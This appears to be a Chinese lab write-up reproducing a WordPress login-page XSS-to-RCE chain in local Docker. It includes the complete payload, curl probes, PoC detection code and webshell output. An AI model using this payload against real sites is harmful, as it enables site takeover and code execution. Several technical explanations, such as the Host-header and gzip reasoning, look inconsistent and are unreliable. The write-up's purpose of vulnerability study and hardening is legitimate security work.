CVE-2026-64638(WordPress XSS2Shell)我的第一个网站就是因为这个给挂马的我要看看是怎么回事
CVE-2026-64638 -> WordPress 登录页预认证反射型 XSS —— 一个空格引发的 XSS 到 getshell
- 编号:CVE-2026-64638
- 别名:XSS2Shell(发现者 pwn.ai 起的名)
- 类型:反射型 XSS(CWE-79),预认证
- 严重程度:CVSS 4.0 基础分 8.9 / HIGH
- 影响范围:WordPress 4.7 ~ 7.0.2(各分支)
- 修复版本:7.0.3(同时向 6.9.6 / 6.8.7 等各分支回补到 4.7.34)
- 披露时间:2026-08-06 发布修复版,2026-08-07 登记 CVE
- 修复方式:给两处回显加上
esc_html()
跑完全流程之后,攻击者能拿到的最终输出是这个:
完整链路打通:预认证 XSS → 管理员应用密码 → 插件上传 → PHP 执行
shell.php 返回(在目标站自己的服务器上执行): {"rce":true,"cwd":"/var/www/html/wp-content/plugins/pwn-plugin", "php_user":"www-data","shell_exec":"uid=33(www-data) gid=33(www-data) groups=33(www-data)"}中间偷到的凭据长这样(每一步都实测过):
┌───────────────── 窃取到的凭据 ───────────────── │ site_url : http://127.0.0.1:8088 │ user_login : admin │ password : dlso 3FhP j84q lImq cDbw rF4o └────────────────────────────────────────────────也就是说:攻击者不需要任何账号,只需要让一个已登录的管理员打开一个链接,就能在这台服务器上以 www-data 的身份执行命令。
靶场搭建,让ai辅助在Docker搭建环境
先把官方默认配置导出来,存成基准文件
docker run --rm --entrypoint cat wordpress:7.0.2 \ /usr/local/etc/php/php.ini-production > conf/php.ini-production
docker run --rm --entrypoint cat wordpress:7.0.2 \ /usr/src/wordpress/wp-config-docker.php > conf/wp-config-docker.php.orig实测确认导全了:
awk 'END{print NR}' conf/php.ini-production conf/wp-config-docker.php.orig1961 conf/php.ini-production139 conf/wp-config-docker.php.origTips—漏洞类型
- 配置开关型 —— 漏洞藏在某个配置项里。典型如 CVE-2021-41773:
Apache 的 Alias 跳板 +
Require all granted授权,改这两处就能开关漏洞。 环境设计的重点是”把漏洞开关显式标出来” - 功能开关型 —— 漏洞藏在某个功能的启用状态里。比如反序列化、模板渲染等。 环境设计的重点是”确认功能处于开启状态”
- 版本型 —— 漏洞就是源码里的代码缺陷,跟任何配置都无关。本漏洞属于这一类。
拿官方源码包对比修复前后两个版本,看补丁改了什么。
diff -rq wp-7.0.2 wp-7.0.3 | grep -v -E "wp-content/(themes|plugins)"实测输出(节选):
Files wp-7.0.2/wp-includes/user.php and wp-7.0.3/wp-includes/user.php differFiles wp-7.0.2/wp-includes/kses.php and wp-7.0.3/wp-includes/kses.php differFiles wp-7.0.2/wp-login.php and wp-7.0.3/wp-login.php differFiles wp-7.0.2/wp-admin/js/user-profile.js and ... differ ← 注意这一行不存在再逐个看差异,锁定属于本 CVE 的那部分:
diff -u wp-7.0.2/wp-includes/user.php wp-7.0.3/wp-includes/user.php- $username+ esc_html( $username )wp-admin/js/user-profile.js 在两个版本间完全相同,说明 WordPress 的修复思路是”堵住注入入口”。
镜像与版本选择
target: image: wordpress:7.0.2 control: image: wordpress:7.0.3 hardened: image: wordpress:7.0.2- 用官方镜像 + 自己写的配置,不直接拉现成的漏洞靶场镜像。 这个漏洞的”开关”不在配置里,但自己写编排才能把三个版本精确地摆在一起
control用 7.0.3 —— 这是官方在 2026-08-06 发布的修复版本,当作是漏洞的对照组hardened和target用同一个镜像 tag。
target证明漏洞存在,control证实官方修复,hardened自己尝试加固
端口分配
ports: - "127.0.0.1:8088:80" # target - "127.0.0.1:8089:80" # control - "127.0.0.1:8090:80" # hardened三段格式是 绑定地址:本机端口:容器端口:
- 左侧的短横线后面第一个字段是绑定地址;第二个是本机端口;第三个是容器内端口(Apache 监听 80)
- 本机 8080 已经被上一个复现(CVE-2021-41773)占了,所以这里从 8088 起。 每个 CVE 用一段固定的端口区间,避免跟历史环境打架
- 中间的
127.0.0.1必须显式写出来,这是实测踩过的点: 只写"8088:80"的话,Docker Desktop(macOS)会绑到0.0.0.0:同一局域网里的任何设备都能访问这个靶场,存在一定风险。
可以用docker ps --format '{{.Names}}\t{{.Ports}}'看实际绑定
建数据库
db: image: mysql:8.4 environment: MYSQL_ROOT_PASSWORD: rootpass MYSQL_DATABASE: wordpress MYSQL_USER: wordpress MYSQL_PASSWORD: wordpress volumes: - ./conf/init-db.sql:/docker-entrypoint-initdb.d/init-db.sql:ro - db_data:/var/lib/mysql输入docker exec cve-2026-64638-db mysql -uwpuser -p'wpuser123' -e "SHOW DATABASES;"
可以看到
+--------------------+| Database |+--------------------+| information_schema || mysql || performance_schema || sys || wordpress702 | ← target 用的库| wordpress703 | ← control 用的库| wordpress_hardened | ← hardened 用的库+--------------------+一个mysql分给了三个不同的数据库
MYSQL_DATABASE: wordpress→ 官方镜像的入口脚本会自动建这个库, 并把MYSQL_USER的权限授给它conf/init-db.sql→ 只负责补建另外两个库,以及把权限授给同一个用户。 两个机制有重叠部分,所以脚本里不重复建wordpress库db_data:/var/lib/mysql定义了数据卷,它的生命周期独立于容器:docker compose down不会删它;docker compose down -v才会删。
CREATE DATABASE IF NOT EXISTS `wordpress703` ...;CREATE DATABASE IF NOT EXISTS `wordpress_hardened` ...;GRANT ALL PRIVILEGES ON `wordpress703`.* TO 'wordpress'@'%';GRANT ALL PRIVILEGES ON `wordpress_hardened`.* TO 'wordpress'@'%';FLUSH PRIVILEGES;
GRANT之后必须FLUSH PRIVILEGES。 原因是直接改权限表的方式需要重载才能生效(虽然GRANT语句本身 一般会即时生效,写上它是无害且更稳妥的习惯)。
Tips—docker-entrypoint-initdb.d
注意 /docker-entrypoint-initdb.d/ 里的脚本只在数据目录第一次初始化时执行一次(Mysql容器的安装向导)。如果已经跑过一次
(db_data 卷里已经有数据),.sql 改了也不会重新执行。想让它生效得先 docker compose down -v 清掉数据卷。
手动补建的命令:
docker exec cve-2026-64638-db mysql -uroot -prootpass \-e "CREATE DATABASE IF NOT EXISTS wordpress_hardened DEFAULT CHARACTER SET utf8mb4;"docker exec cve-2026-64638-db mysql -uroot -prootpass \-e "GRANT ALL PRIVILEGES ON wordpress_hardened.* TO 'wordpress'@'%'; FLUSH PRIVILEGES;"这里 -e 是 mysql 客户端的”直接执行这条 SQL 后退出”参数。
网站文件卷
volumes: - wp_data:/var/www/htmlwordpress 官方镜像的启动逻辑是:如果 /var/www/html 里没有
index.php 和 wp-includes/version.php,就把 /usr/src/wordpress
的内容复制过去,再根据环境变量生成 wp-config.php。
用命名卷(而不是绑定挂载到本地目录)有两个好处:
- 卷里初始是空的 → 触发上面这套初始化流程,站点文件按官方方式生成
- 我们不直接改容器里的文件。要做对照实验就换环境变量或另起容器, 保证”被测对象”始终是官方原样
Tips—mu-plugin mu-plugin(Must-Use Plugin)是 WordPress 里唯一一种「无需启用、自动加载、无法停用」的插件类型,它被设计用来放那些「所有站点都必须有的基础功能」
if ( is_dir( WP_CONTENT_DIR . '/mu-plugins' ) ) { $plugins = array(); $dir = @opendir( WP_CONTENT_DIR . '/mu-plugins' ); if ( $dir ) { while ( ( $file = readdir( $dir ) ) !== false ) { if ( preg_match( '/\\.php$/i', $file ) ) $plugins[] = $file; } closedir( $dir ); sort( $plugins ); foreach ( $plugins as $plugin ) { include_once( WP_CONTENT_DIR . '/mu-plugins/' . $plugin ); } }}没有 if (is_plugin_active()),没有 do_action('activate_plugin'),只有最原始的 include_once() —— 只要文件存在,就一定会被执行。
想把 mu-plugin 挂进/var/www/html/wp-content/mu-plugins/zz-hardening.php,但这个目录在官方镜像里不存在。Docker 会替你创建路径并完成挂载,结果挂出来的目录属主是 root。功能上没问题(mu-plugin 会被加载),但如果之后想让 Web 进程往这个目录写东西就会失败。知道这一点,出问题时能快一点定位。
验证 mu-plugin 是否被加载:
docker exec cve-2026-64638-hardened php -r 'define("WP_USE_THEMES", false); require "/var/www/html/wp-load.php"; var_dump( wp_is_application_passwords_available() );'实测输出:
bool(false)如果这里是 true,说明 mu-plugin 没被加载
漏洞复现配置—WP_ENVIRONMENT_TYPE
WP_ENVIRONMENT_TYPE: local源码依据(wp-includes/user.php:5126-5128):
function wp_is_application_passwords_supported() { return is_ssl() || 'local' === wp_get_environment_type();}Application Passwords 默认只在 HTTPS 或 local 环境下启用。
本实验跑的是明文 HTTP,不声明环境类型就会落到 production,
这个功能直接不可用 —— RCE 链的第 4 环就断了。
验证 WP_ENVIRONMENT_TYPE 是否被读到:
docker run --rm --volumes-from cve-2026-64638 --network cve-2026-64638_default \ -e WP_ENVIRONMENT_TYPE=local \ -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_NAME=wordpress \ -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress \ wordpress:cli wp eval 'var_dump( wp_get_environment_type(), wp_is_application_passwords_available() );'实测输出:
string(5) "local"bool(true)Tips—注入方式:从解析环境入手
WordPress 解析环境类型的顺序(wp-includes/load.php:280-291)是
先读同名环境变量,再读常量:
// Check if the environment variable has been set, if `getenv` is available on the system. if ( function_exists( 'getenv' ) ) { $has_env = getenv( 'WP_ENVIRONMENT_TYPE' ); if ( false !== $has_env ) { $current_env = $has_env; } }
// Fetch the environment from a constant, this overrides the global system variable. if ( defined( 'WP_ENVIRONMENT_TYPE' ) && WP_ENVIRONMENT_TYPE ) { $current_env = WP_ENVIRONMENT_TYPE; }所以给一个环境变量就够了,不需要改 wp-config.php。
依赖与健康检查
target: depends_on: db: condition: service_healthy healthcheck: test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-prootpass"] interval: 5s timeout: 5s retries: 30- 只写
depends_on: [db]的话,Docker 只保证”db 容器已创建”, 不保证”MySQL 已经能接受连接”。WordPress 启动时连不上库就会报错退出 - 加上
condition: service_healthy+ 上面的 healthcheck, 才真正等到 MySQL 就绪 - 重试次数给到 30 次(约 150 秒),是因为 MySQL 首次初始化数据目录比较慢。 这个值给太小,冷启动时容易失败
配置环境过程中遇到的一些问题
跟上次有遇到类似的问题
docker exec里带管道/重定向会被本机 shell 先吃掉。docker exec 容器 wc -l < /etc/passwd数的是宿主机的文件。 规则:涉及管道、重定向、通配符展开,一律用sh -c '...'包起来交给容器执行docker exec默认以容器内 root 身份运行。 想模拟被利用进程的权限必须显式降权:docker exec -u www-data ...。 不降权会得到”处处可写”的假结论grep多关键字在 macOS 上必须加-E。 BSD grep 的基本正则不支持\|交替,写了会静默返回空结果且不报错, 极易造成”文件里没有这东西”的假阴性。凡是多关键字搜索一律grep -E "a|b"/docker-entrypoint-initdb.d/的脚本只执行一次。 数据卷已初始化后再改.sql不生效,要么down -v重来,要么手工补- 日志去哪了,动手前先确认一遍。
wordpress官方镜像把 Apache 的日志做成了指向标准流的符号链接(实测):所以$ docker exec cve-2026-64638 sh -c 'ls -la /var/log/apache2/'lrwxrwxrwx access.log -> /dev/stdoutlrwxrwxrwx error.log -> /dev/stderrdocker logs cve-2026-64638就能看到访问记录,容器里不会堆积日志文件。 但这个便利是镜像作者给的,不是必然的:如果自己写 Apache 配置、 把ErrorLog指向容器内的普通文件,docker logs就什么也看不到, 只能docker exec进去cat。 排查”请求为什么没打通”时,第一时间要确认日志到底去了哪 —— 客户端能看到的状态码,信息量远低于服务端的错误日志 - 在受限 shell 里,Chrome 需要显式关掉自己的沙箱才跑得起来。
父进程沙箱拦住
clone/unshare时,Chrome 报sandbox initialization failed: Operation not permitted, 接着 GPU 进程反复崩、Chrome 打出GPU process isn't usable. Goodbye.后自杀(SIGTRAP)。表现为下游脚本静默失败、退出码还是 0。 驱动无头 Chrome 时固定带上--no-sandbox --disable-gpu --disable-dev-shm-usage --disable-software-rasterizer。 想快速判断是不是这个原因,直接手工跑一次并把 stderr 接出来:"$CHROME" --headless=new --remote-debugging-port=9411 \--user-data-dir="$(mktemp -d)" about:blank 2>&1 | head -20 - “上一次跑成功留下的产物”会伪装成本次的成功。 同一个容器反复做实验时,上一轮落在磁盘上的结果(比如 webshell、 解压出来的插件目录)会让这一次即使中途失败也照样”有回显”。 所以每次开跑前先清掉上一次的产物,并且用能区分新旧状态的证据判成败 (文件时间戳、“本次真的装上了”的返回值),不要只看”有没有回显”
启动容器并准备环境
docker~~~启动!!!
cd CVE-2026-64638docker compose up -d db target control参考输出:
Container cve-2026-64638-db Creating Container cve-2026-64638-db Created Container cve-2026-64638 Creating Container cve-2026-64638 Created Container cve-2026-64638-db Starting Container cve-2026-64638-db Started Container cve-2026-64638-db Waiting Container cve-2026-64638-db Healthy Container cve-2026-64638 Starting Container cve-2026-64638 Started命令拆解:
docker compose是 Docker 的编排工具,读docker-compose.yml;up= 创建并启动;-d= detached,后台跑(不加-d的话日志会占满你的终端);- 后面的
db target control是”只启动这三个服务”,不写就是全部启动。连起来:“按编排文件,把数据库和两个站点在后台跑起来”。
核心出装
容器起来了但 WordPress 还没装。用官方 wp-cli 镜像装:
docker run --rm --volumes-from cve-2026-64638 --network cve-2026-64638_default \ -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_NAME=wordpress \ -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress \ wordpress:cli wp core install \ --url="http://127.0.0.1:8088" --title="XSS2Shell Lab" \ --admin_user=admin --admin_password="admin12345" \ --admin_email="admin@example.com" --skip-email参考输出:
Success: WordPress installed successfully.命令拆解:
--volumes-from cve-2026-64638:把 target 容器的磁盘卷挂到当前这个临时容器上,这样 wp-cli 才能看到/var/www/html里的 WordPress 文件。--network cve-2026-64638_default:接进编排创建的同一个网络,才能用db这个名字找到数据库。- 四个
-e是环境变量,给 wp-cli 提供连库信息。名称和docker-compose.yml里保持一致。 wp core install后面是装站参数:站点地址、站名、管理员账号密码邮箱。--skip-email表示不要真的去发确认邮件(本地环境发不出去)。连起来:“临时借一个 wp-cli 容器,用现成的磁盘和网络,把这个站点装好”。
同样方式装另外两个(改 --volumes-from、--url、WORDPRESS_DB_NAME):
docker run --rm --volumes-from cve-2026-64638-control --network cve-2026-64638_default \ -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_NAME=wordpress703 \ -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress \ wordpress:cli wp core install --url="http://127.0.0.1:8089" --title="XSS2Shell Control" \ --admin_user=admin --admin_password="admin12345" --admin_email="admin@example.com" --skip-email检查
curl -s -o /dev/null -w "http=%{http_code}\n" http://127.0.0.1:8088/curl -s -o /dev/null -w "http=%{http_code}\n" http://127.0.0.1:8089/实测输出:
http=302302是”重定向”。没装站的时候首页会跳到安装向导,装好了会跳到首页 —— 都是 302,属正常。- 如果拿到
000,说明连不上,先docker ps看容器起没起来。 - 如果拿到
500,去docker logs cve-2026-64638看报错。 -s= silent,不打印进度条,只输出内容;-o /dev/null:把响应正文丢掉(我们只关心状态码);-w "http=%{http_code}\n":-w= write-out,请求结束后按模板打印信息,%{http_code}是 curl 提供的变量,代表 HTTP 状态码;
统一确认一下三个站点的版本:
python3 poc/xss2shell.py versions实测输出:
target http://127.0.0.1:8088 WordPress 7.0.2control http://127.0.0.1:8089 WordPress 7.0.3xss2shell.py 的 versions 子命令默认只检查 —target 和 —control 两个参数,而 hardened 是通过 —profile hardened 启动的独立服务,它没有被当作一个“可选的对照站点”,而是作为一个加固变体(variant) 存在。
进攻!!
尝试提交
先交一份<后面没有空格的命令
curl -s -X POST http://127.0.0.1:8088/wp-login.php \ --data-urlencode 'log=<area id=marker1 href=/test>' \ --data-urlencode 'pwd=x' \ --data-urlencode 'wp-submit=Log In' | grep -o 'login_error.*' | head -c 400错误提示:
The username field is empty.再交有空格的
curl -s -X POST http://127.0.0.1:8088/wp-login.php \ --data-urlencode 'log=< area id=marker2 href=/test>' \ --data-urlencode 'pwd=x' \ --data-urlencode 'wp-submit=Log In' | grep -o 'login_error.*' | head -c 500实测输出:
<div id="login_error" class="notice notice-error"><p><strong>Error:</strong>The username <strong><area id="marker2" href="/test"></strong> is not registered on this site.注意看 <area id="marker2" href="/test"> 这一段 —— 它被加上了引号,变成了一个HTML 标签。
也就是说:我们交给登录页一段文字,它还给我们的是一段可执行的 HTML。
命令拆解:
--data-urlencode '键=值':把数据按 URL 编码后放进请求体。--data-urlencode和--data的区别很关键:前者会帮你编码特殊字符,后者原样发送。我们的载荷里有<>/这些字符,必须让 curl 编码,否则发出去的报文是非法的。实测的这个载荷< area id=marker2 href=/test>,编码后是%3C+area+id%3Dmarker2+href%3D%2Ftest%3E。| grep -o 'login_error.*':从 HTML 里把错误提示那一行抠出来。-o= only-matching,只打印匹配到的部分。不加这个参数的话,grep 会把整行(可能几万字符的 HTML)都打出来。- 用 POST 把这段用户名提交给登录页,然后把返回里的错误提示抠出来给我看前 400 个字符
拆解载荷(注意三个<后面都有空格)
< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X第一段 —— 造一个假的 ajaxurl 变量
< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click>< area中间那个空格:让strip_tags放行(整个漏洞的开关)id=ajaxurl:DOM clobbering。登录页上没有定义ajaxurl这个变量(实测确认: 登录页 HTML 里var ajaxurl出现 0 次),所以这个<area>会顶替它href=...:变成脚本要请求的地址,逐段看:/?rest_route=/—— 走 WordPress REST 的”另一种写法”。注意这里不能用/wp-json/: 实测/wp-json/需要打开”美化固定链接”,默认设置下会落到首页返回 HTML。?rest_route=这个写法在任何设置下都有效。&_method=GET—— REST 的参数覆盖,让服务器把这次 POST 当成 GET 处理&_jsonp=window.opener.approve.click—— 要求以 JSONP 返回, 回调名就是那串”属性链”:打开我的窗口 → 里面 id 为 approve 的元素 → 点它
第二段 —— 骗过自动点击
< div id=color-picker class=reset-pass-submit>WordPress 的登录页因为要支持”忘记密码”流程,顺手加载了后台用的 user-profile.js
(源码位置:wp-login.php:1516)。这个脚本里有一段(wp-admin/js/user-profile.js:620-621):
$( function() { if ( $( '.reset-pass-submit' ).length ) { $( '.reset-pass-submit button.wp-generate-pw' ).trigger( 'click' ); }});它的本意是:在后台”新增用户”页面自动生成一个密码。但在登录页上,
只要页面上存在 .reset-pass-submit,它就会自动去点里面的 .wp-generate-pw 按钮。
登录页原本没有这些元素 —— 是我们注入出来的。
第三段 —— 那个被自动点击的按钮
< button class="wp-generate-pw color-option">X它同时挂两个类,各有用途:
.wp-generate-pw→ 被上面那段代码选中并自动点击.color-option→ 点击事件会冒泡到#color-picker的委托处理器 (wp-admin/js/user-profile.js:529)
那个处理器里有一段判断(user-profile.js:541):
if ( user_id === current_user_id ) { ... $.post( ajaxurl, { ... } );user_id 来自 $('input#user_id').val(),current_user_id 来自
$('input[name="checkuser_id"]').val() —— 这两个 input 在登录页上都不存在,
所以两者都返回 undefined。而 undefined === undefined 是 true,判断通过。
于是执行到 $.post( ajaxurl, ...)。此时 ajaxurl 不是字符串,而是我们注入的那个
<area> 元素;jQuery 把它转成字符串时取的就是 href —— 请求打向了我们指定的地址。
Tips—怎么wordpess老是把页面上没有的元素也写个js,不是多次一举并且留下风险吗
不是 WordPress “还要做”,而是它“必须做”——因为 user-profile.js 不是为登录页写的,它是为后台「用户资料页」(/wp-admin/profile.php)服务的;WordPress 把它也塞进了登录页,是为了复用代码、减少维护成本。
它的原始使命:服务 /wp-admin/profile.php
/wp-admin/profile.php 是管理员编辑自己资料的页面;
当管理员勾选「生成新密码」时,页面上会出现:
<div class="reset-pass-submit"> <button type="button" class="wp-generate-pw">生成密码</button></div>再看源码为什么它要在登录页出现
// wp-login.php 第 956 行左右wp_print_scripts( 'user-profile' );- wp_print_scripts(‘user-profile’) 是 WordPress 的资源管理函数;
- 它的作用是:把所有注册了 handle ‘user-profile’ 的脚本都输出到当前页面;
- 而 user-profile.js 就是在 wp-admin/admin-footer.php 中注册的(源码)。
来自 wp-admin/js/user-profile.js 开头注释):
“Handles password generation and reset logic on user profile and reset password pages.”(处理用户资料页和重置密码页上的密码生成与重置逻辑)说明重置密码页,就是登录页的一部分。
Tips—href 里必须用字面的 &,不能写 &
第一次写载荷时很自然会写 &(HTML 里 & 的标准写法)。实测结果:
href="/?rest_route=/_method=GET_jsonp=window.opener.approve.click"& 整个消失了,查询串被拼成了一坨,链条直接断。
原因在源码里:wp-includes/formatting.php:2156
// Remove HTML entities.$username = preg_replace( '/&.+?;/', '', $username );sanitize_user() 会把 & 到 ; 之间的内容(也就是 HTML 实体)整段删掉。
& 正好命中这条规则。
自动化脚本,这次复现要用到浏览器自动化,所以不可以纯用shell来复现
一共三个脚本:
poc/xss2shell.py—— 主 PoC,纯 Python 标准库。做 HTTP 能做的一切: 验证漏洞、检查链路前提、编排全流程、独立验证结果poc/browser_chain.mjs—— 浏览器端利用链。用 Node 22 内置的 WebSocket 直连 Chrome DevTools Protocol,不需要安装任何 npm 包attack/serve.py—— 攻击者站点。提供攻击页面、恶意插件包、回调接收端点
先来看poc/xss2shell.py
python3 poc/xss2shell.py check 一次真实运行,输出分两个阶段:
- 第一阶段”解析器分歧” —— 对目标站点发两次 POST,只在载荷里改一个空格,
然后判断回显里是活标签(
<area)还是转义文本(<)还是干脆没了 - 第二阶段”链路前提核查” —— 取一次登录页 HTML,检查 3 个脚本/变量层面的条件; 再发两次 REST 请求,检查 JSONP 的两个特性
chain 命令是另一个流程:起攻击者站点 → 调度 Node 跑浏览器链 → 独立验证 webshell。
一共 13 个函数:
- 第 73 行
http_request—— HTTP 地基。发请求、返回(状态码, 头, 正文) - 第 98 行
urlencode_form—— 把字典编成表单体,顺带给出正确的请求头 - 第 108 行
submit_login_error—— 拼装”提交坏用户名”这个动作,返回错误提示那段 HTML - 第 120 行
fingerprint—— 从登录页静态资源版本号推断 WordPress 版本 - 第 135 行
check_reflection—— 核心判定:有空格/无空格两条对照,给出 VULNERABLE / SAFE / STRIPPED - 第 170 行
check_prerequisites—— 链路前提五连查 - 第 223 行
cmd_check——check子命令的调度与结论文案 - 第 262 行
cmd_payload——payload子命令,打印载荷拆解 - 第 302 行
cleanup_plugin—— 开跑前清掉容器里残留的插件目录(第八节坑八) - 第 337 行
cmd_chain——chain子命令,编排”清场 + 攻击站点 + 浏览器链 + 独立验证” - 第 397 行
cmd_verify——verify子命令,独立请求 webshell 判断代码执行 - 第 428 行
cmd_versions——versions子命令 - 第 437 行
main—— argparse 入口
http_request发请求、返回
def http_request(url, method="GET", body=None, headers=None, timeout=15): u = urllib.parse.urlparse(url) host = u.hostname port = u.port or (443 if u.scheme == "https" else 80) path = u.path or "/" if u.query: path += "?" + u.query
conn = http.client.HTTPConnection(host, port, timeout=timeout) conn.request(method, path, body=body, headers=headers or {}) resp = conn.getresponse() raw = resp.read() hs = {k.lower(): v for k, v in resp.getheaders()} conn.close() return resp.status, hs, raw.decode("utf-8", "replace")发一个 HTTP 请求,返回 (status, headers_dict, body_text)。 这里用底层 http.client 而不是 urllib.request,原因只有一个:要能完全控制发出去的报文,尤其是 onerror/错误体不要被高层库吃掉。 注意:查询串必须自己拼回 path,http.client 不会替你带 query。WordPress 的 REST 入口是 /?rest_route=/…,漏掉 query 就打到首页去了。
urllib.parse.urlparse(url)把http://x:8088/wp-login.php拆成协议/主机/路径/查询串等零件;path = u.path or "/"是为了防urlparse返回空path(比如 http://x),补上 /;conn.putrequest(..., skip_host=True, skip_accept_encoding=True)是关键:
Tips—为什么关键
skip_host=True 和 skip_accept_encoding=True 是为了「完全掌控请求行和请求头」,确保发出去的 payload 100% 原样到达服务器 —— 不被 Python 自动加东西、不被自动改格式、不被 gzip 编码破坏。
不加 skip_host=True 会发生什么:
POST /wp-login.php HTTP/1.1Host: 127.0.0.1:8088 ← 这是 http.client 自动加的!Content-Type: application/x-www-form-urlencodedContent-Length: 35
log=%3C+area+id%3Dmarker%3E这个端口号会让 WordPress 认为这是“开发环境”,从而绕过某些过滤逻辑。
不加 skip_accept_encoding=True 会发生什么:
GET /?rest_route=/wp/v2/users/me&_jsonp=window.opener.approve.click HTTP/1.1Host: 127.0.0.1:8088Accept-Encoding: gzip ← http.client 自动加的!而响应头有
HTTP/1.1 200 OKContent-Encoding: gzipContent-Type: text/javascript; charset=UTF-8而浏览器加载 <script src="..."> 时,如果内容是 gzip 压缩的,但没有正确的 Content-Encoding 声明,就会报错:
Failed to load resource: net::ERR_CONTENT_DECODING_FAILEDwindow.opener.approve.click({…}) 根本不会执行
总之要使用XSS一定要加
skip_host=True→ 不让http.client自动加 Host: 头(我们自己控制);skip_accept_encoding=True→ 不让http.client自动加Accept-Encoding: gzip(有些服务会返回乱码);res.read().decode("utf-8", "replace")中 “replace” 表示:遇到非法字节(如二进制文件)就用 “ 替代,避免崩溃;
urlencode_form把字典转成 a=b&c=d
def urlencode_form(fields):
body = urllib.parse.urlencode(fields).encode("utf-8") headers = { "Content-Type": "application/x-www-form-urlencoded", "Content-Length": str(len(body)), } return body, headers把字典编码成 application/x-www-form-urlencoded,并返回 (bytes, headers) 说明上面是返回 (body, headers) 的版本,下面写个可以替换的只返回 & 拼接字符串的版本
submit_login_error() —— 提交坏用户名,拿错误提示 HTML
def submit_login_error(base, username_payload, password="x"):
body, headers = urlencode_form({"log": username_payload, "pwd": password, "wp-submit": "Log In"}) status, _, html = http_request(base + "/wp-login.php", "POST", body, headers) m = re.search(r'<div[^>]*id="login_error"[^>]*>(.*?)</div>', html, re.S) return status, (m.group(0) if m else "")把 payload 当用户名提交给 wp-login.php,返回错误提示那段 HTML 用正则从返回的 HTML 里抠出错误提示那一块:
m = re.search(r'<div[^>]*id="login_error"[^>]*>(.*?)</div>', html, re.S)[^>]*= “任意多个非>字符”,用来跳过class="notice notice-error"这些属性(.*?)= 非贪婪匹配,只要最短的一段,避免一路吃到页面底部re.S= dotall,让.也能匹配换行符
fingerprint推断 WordPress 版本
def fingerprint(base): try: _, _, html = http_request(base + "/wp-login.php") except Exception as e: return "无法访问(%s)" % e vers = set(re.findall(r"\?ver=(\d+\.\d+\.\d+)", html)) wp = sorted(v for v in vers if v.split(".")[0] in ("4", "5", "6", "7")) return ", ".join(wp) or "未识别"- 从登录页的静态资源版本号推断 WordPress 版本(?ver=7.0.2 这种)
- 过滤条件:必须是三段式,且主版本号是 4/5/6/7 ——
- 这样能把 jQuery(3.7.1)、underscore(1.13.8) 之类第三方库的版本滤掉。
- 过滤版本正则:
登录页上的静态资源 URL 都带
?ver=参数,理论上取出来就是 WordPress 版本。 但那些?ver=里混着第三方库的版本(underscore 1.13.8、jQuery 3.7.1)。 所以加了一条过滤:只保留主版本号是 4/5/6/7 的三段式版本号。
check_reflection核心判定:VULNERABLE / SAFE / STRIPPED
def check_reflection(base, label): print(" 【%s】%s" % (label, base)) print(" WordPress 版本(推断): %s" % fingerprint(base))
results = {} for name, pl in (("带空格 %s" % PAYLOAD_MIN, PAYLOAD_MIN), ("无空格 %s" % PAYLOAD_NEG, PAYLOAD_NEG)): try: status, block = submit_login_error(base, pl) except Exception as e: print(" · %s → 请求失败: %s" % (name, e)) results[name] = "ERROR" continue
live = bool(re.search(r"<area\b", block, re.I)) escaped = "<" in block gone = ("is not registered" in block) and not live and not escaped verdict = "VULNERABLE" if live else ("SAFE" if escaped else "STRIPPED") results[name] = verdict
print(" · %s" % name) print(" 判定 = %s" % verdict) snippet = re.sub(r"\s+", " ", block) print(" 回显 = %s" % (snippet[:180] + ("..." if len(snippet) > 180 else ""))) print() return results核心对照:同一个 payload,有空格 / 无空格,看服务端回显成什么 判据(三选一): VULNERABLE —— 回显里出现了真的 <area 标签,说明 wp_kses_post 把它当元素重建了 SAFE —— 回显里是 < area,说明修复版把它按文本转义了 STRIPPED —— 回显里连内容都没有了,说明被 strip_tags 整段删掉
live = bool(re.search(r"<area\b", block, re.I))escaped = "<" in blockgone = ("is not registered" in block) and not live and not escapedverdict = "VULNERABLE" if live else ("SAFE" if escaped else "STRIPPED")\b是单词边界,防止把<areal>这种误判成<areare.I忽略大小写,因为 HTML 标签名大小写不敏感STRIPPED的判定特意加上了"is not registered" in block: 必须确认”错误提示正常显示了,只是载荷没了”,才能说它是被清洗掉的。 如果整段错误提示都没出现(比如请求失败),不能算 STRIPPED
Tips—为什么必须同时看状态码和内容特征 因为两种情况都返回 200:注入成功是 200,被清洗掉也是 200。必须看正文里到底出现了什么。
check_prerequisites链路前提五条检查
def check_prerequisites(base): print(" 链路前提核查:%s" % base) checks = []
# 1) 登录页是否加载了 user-profile.js —— 自动点击那一步的载体 login_html = "" try: _, _, login_html = http_request(base + "/wp-login.php") except Exception as e: print(" 登录页取不到:%s" % e) checks.append(("登录页加载了 user-profile.js(自动点击的载体)", "js/user-profile" in login_html))
# 2) 登录页是否定义了 ajaxurl —— 必须"没有定义",DOM clobbering 才有意义 checks.append(("登录页没有定义 ajaxurl(可被同名 id 元素劫持)", "var ajaxurl" not in login_html))
# 3) 登录页是否加载了 jQuery —— $.post(ajaxurl, ...) 这一步的执行者 checks.append(("登录页加载了 jQuery($.post 由它发出)", "jquery" in login_html.lower()))
# 4) 免认证的 REST JSONP 是否可用 jsonp_url = base + "/?rest_route=/&_jsonp=markerCallback&_method=GET" js = "" try: _, _, js = http_request(jsonp_url) except Exception: pass print(" JSONP 响应开头: %s" % js[:70].replace("\n", " ")) checks.append(("未认证就能拿到 REST JSONP 响应", js.lstrip().startswith("/**/markerCallback(")))
# 5) JSONP 回调名是否允许点号(允许才能写出属性链 window.opener.approve.click) dot_url = base + "/?rest_route=/&_jsonp=window.opener.approve.click&_method=GET" js2 = "" try: _, _, js2 = http_request(dot_url) except Exception: pass print(" 属性链响应开头: %s" % js2[:80].replace("\n", " ")) checks.append(("回调名接受点号(可写属性链做跨窗口点击)", "window.opener.approve.click(" in js2))
